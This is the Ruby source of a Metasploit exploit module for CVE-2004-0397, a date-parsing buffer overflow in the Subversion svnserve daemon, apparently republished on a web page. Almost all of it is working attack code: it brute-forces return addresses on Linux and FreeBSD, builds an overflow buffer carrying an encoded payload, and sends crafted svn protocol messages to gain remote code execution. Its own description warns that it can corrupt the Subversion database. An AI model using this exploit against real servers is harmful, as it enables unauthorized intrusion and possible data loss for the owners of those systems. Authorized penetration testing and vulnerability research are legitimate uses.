Subversion – Date Svnserve (Metasploit)
## # $Id: svnserve_date.rb 9971 2010-08-07 06:59:16Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/exploit/http/client' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Brute include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Subversion Date Svnserve', 'Description' => %q{ This is an exploit for the Subversion date parsing overflow. This exploit is for the svnserve daemon (svn:// protocol) and will not work for Subversion over webdav (http[s]://). This exploit should never crash the daemon, and should be safe to do multi-hits. **WARNING** This exploit seems to (not very often, I've only seen it during testing) corrupt the subversion database, so be careful! }, 'Author' => 'spoonm', 'Version' => '$Revision: 9971 $', 'References' => [ ['CVE', '2004-0397'], ['OSVDB', '6301'], ['BID', '10386'], ['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'], ['MIL', '68'], ], 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20", 'MinNops' => 16, }, 'SaveRegisters' => [ 'esp' ], 'Arch' => 'x86', 'Platform' => [ 'linux', 'bsd' ], 'Targets' => [ [ 'Linux Bruteforce', { 'Platform' => 'linux', 'Bruteforce' => { 'Start' => { 'Ret' => 0xbffffe13 }, 'Stop' => { 'Ret' => 0xbfff0000 }, 'Step' => 0 } }, ], [ 'FreeBSD Bruteforce', { 'Platform' => 'bsd', 'Bruteforce' => { 'Start' => { 'Ret' => 0xbfbffe13 }, 'Stop' => { 'Ret' => 0xbfbf0000 }, 'Step' => 0 } }, ], ], 'DisclosureDate' => 'May 19 2004')) register_options( [ Opt::RPORT(3690), OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ]) ], self.class) register_advanced_options( [ # 62 on spoonm's, 88 on HD's OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]), OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ]) ], self.class) end def check end def brute_exploit(addresses) connect print_status("Trying #{"%.8x" % addresses['Ret']}...") buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded [ "( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ", "( ANONYMOUS ( 0; ) )", "( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) " ].each_with_index { |buf, index| trash = sock.get_once print_line("Received: #{trash}") if debugging? if (sock.put(buf) || 0) == 0 and index < 3 print_error("Error transmitting buffer.") raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors'] end if index == 3 and trash.length > 0 print_error("Received data when we shouldn't have") raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors'] end } handler disconnect end def lengther(buf) "#{buf.length}:" + buf end end |